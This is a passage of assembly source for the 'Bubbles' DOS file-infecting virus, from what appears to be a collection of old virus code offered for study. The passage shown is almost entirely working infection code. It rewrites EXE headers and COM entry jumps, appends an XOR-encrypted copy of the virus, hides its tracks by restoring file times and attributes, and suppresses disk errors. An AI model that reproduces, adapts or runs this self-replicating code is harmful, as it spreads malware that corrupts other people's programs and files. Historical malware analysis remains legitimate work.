bubbles1.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

        movsb
        mov     [bp+buffer],byte ptr 0e9h
        mov     word ptr [bp+buffer+1],bx         ; Save for later

        mov     cx,3                              ; Number of bytes to write

        jmp     finishinfection
InfectExe:
        les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
        mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
        mov     word ptr [bp+jmpsave2+2],es

        les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
        mov     word ptr [bp+stacksave2],es       ; save old cs:ip
        mov     word ptr [bp+stacksave2+2],ax

        mov     ax, word ptr [bp+buffer+8]        ; get header size
        mov     cl,4
        shl     ax,cl
        xchg    ax,bx
        les     ax,[bp+offset DTA+26]             ; get files size from dta
        mov     dx,es                             ; its now in dx:ax
        push    ax                                ; save these
        push    dx

        sub     ax,bx                             ; subtract header size from fsize
        sbb     dx,0                              ; subtract the carry too
        mov     cx,10h                            ; convert to segment:offset form
        div     cx

        mov     word ptr [bp+buffer+14h],dx       ; put in new header
        mov     word ptr [bp+buffer+16h],ax       ; cs:ip

        mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
        mov     word ptr [bp+buffer+10h],id       ; put id in for later
        pop     dx                                ; get the file length back
        pop     ax

        add     ax,eof-virus                      ; add virus size
        adc     dx,0                              ; add with carry

        mov     cl,9                              ; calculates new file size
        push    ax
        shr     ax,cl
        ror     dx,cl
        stc
        adc     dx,ax
        pop     ax
        and     ah,1

        mov     word ptr [bp+buffer+4],dx         ; save new file size in header
        mov     word ptr [bp+buffer+2],ax

        push    cs                                ; es = cs
        pop     es

        mov     cx,1ah                            ; Number of bytes to write (Header)
FinishInfection:
        push    cx                                ; save # of bytes to write
        xor     cx,cx                             ; Set attriutes to none
        call    attributes

        mov     al,2                              ; open file read/write
        call    open

        mov     ah,40h                            ; Write to file
        lea     dx,[bp+buffer]                    ; Location of bytes
        pop     cx                                ; Get number of bytes to write
        int     21h
        jc      closefile

        mov     al,02                             ; Move Fpointer to eof
        Call    move_fp

get_time:
        mov     ah,2ch                            ; Get time for our encryption value
        int     21h
        cmp     dh,0                              ; If its seconds are zere get another
        je      get_time
        mov     [bp+enc_value],dh                 ; Use seconds value for encryption
        call    encrypt_infect                    ; Encrypt and infect the file
closefile:
        mov     ax,5701h                          ; Set files date/time back
        mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
        mov     dx,word ptr [bp+dta+18h]          ; Get old date
        int     21h

        mov     ah,3eh                            ; Close file
        int     21h

        xor     cx,cx
        mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
        call    attributes

        retn

move_fp:
        mov     ah,42h                            ; Move file pointer
        xor     cx,cx                             ; Al has location
        xor     dx,dx                             ; Clear these
        int     21h
        retn

set_dta:
        mov     ah,1ah                            ; Move the DTA location
        int     21h
        retn

open:
        mov     ah,3dh                            ; open file
        lea     dx,[bp+DTA+30]                    ; filename in DTA
        int     21h
        xchg    ax,bx                             ; file handle in bx
        ret

attributes:
        mov     ax,4301h                          ; Set attributes to cx
        lea     dx,[bp+DTA+30]                    ; filename in DTA
        int     21h
        ret
int24:                                            ; New int 24h (error) handler
        mov     al,3                              ; Fail call
        iret                                      ; Return from int 24 call

Virusname db 'Bubbles Virus',10,13                ; Name Of The Virus
Author    db 'Admiral Bailey',10,13               ; Author Of This Virus
Made_with db '[IVP]',10,13,'$'                    ; Please do not remove this

comfilespec  db  '*.com',0                        ; Holds type of file to look for
exefilespec  db  '*.exe',0                        ; Holds type of file to look for
directory    db '..',0                            ; Directory to change to
oldjump      db  0cdh,020h,0h                     ; Old jump.  Is int 20h for file quit

encrypt_infect:
        lea     si,[bp+offset move_begin]         ; Location of where to move from
        lea     di,[bp+offset workarea]           ; Where to move it too
        mov     cx,move_end-move_begin            ; Number of bytes to move
move_loop:
        movsb                                     ; Moves this routine into heap
        loop    move_loop
        lea     dx,[bp+offset workarea]
        call    dx                                ; Jump to that routine just moved
        ret

move_begin    equ     $                           ; Marks beginning of move
        push    bx                                ; Save the file handle
        lea     dx,[bp+offset encrypt_end]
        call    dx                                ; Call the encrypt_decrypt procedure
        pop     bx                                ; Get handle back in bx and return
        mov     ah,40h                            ; Write to file
        mov     cx,eof-virus                      ; Number of bytes
        lea     dx,[bp+offset virus]              ; Where to write from
        int     21h
        push    bx                                ; Save the file handle
        lea     dx,[bp+offset encrypt_end]
        call    dx                                ; Decrypt the file and return
        pop     bx                                ; Get handle back in bx and return
        ret
move_end      equ     $                           ; Marks the end of move

encrypt_end   equ     $                           ; Marks the end of encryption

encrypt_decrypt:
        lea     bx,[bp+encrypt_start]             ; Where to start encryption
        mov     cx,encrypt_end-encrypt_start      ; Number of bytes to encrypt
        mov     dh,[bp+enc_value]                 ; Value to use for encryption
encrypt_loop:
        mov     ah,cs:[bx]                        ; Get a byte in ah
        xor     ah,dh                             ; Xor it
        mov     cs:[bx],ah                        ; Put it back
        inc     bx                                ; Move to next byte and loop
        loop    encrypt_loop
        ret

enc_value     db    00h                           ; Hold the encryption value 00 for nul effect

eof     equ     $                                 ; Marks the end of file

workarea db     move_end-move_begin dup (?)       ; Holds the encrypt_infect routine
currentdir db   64 dup (?)                        ; Holds the current dir
dta     db      42 dup (?)                        ; Location of new DTA
buffer db 1ah dup (?)                             ; Holds exe header
oldint24 dd ?                                     ; Storage for old int 24h handler

code    ends
        end     start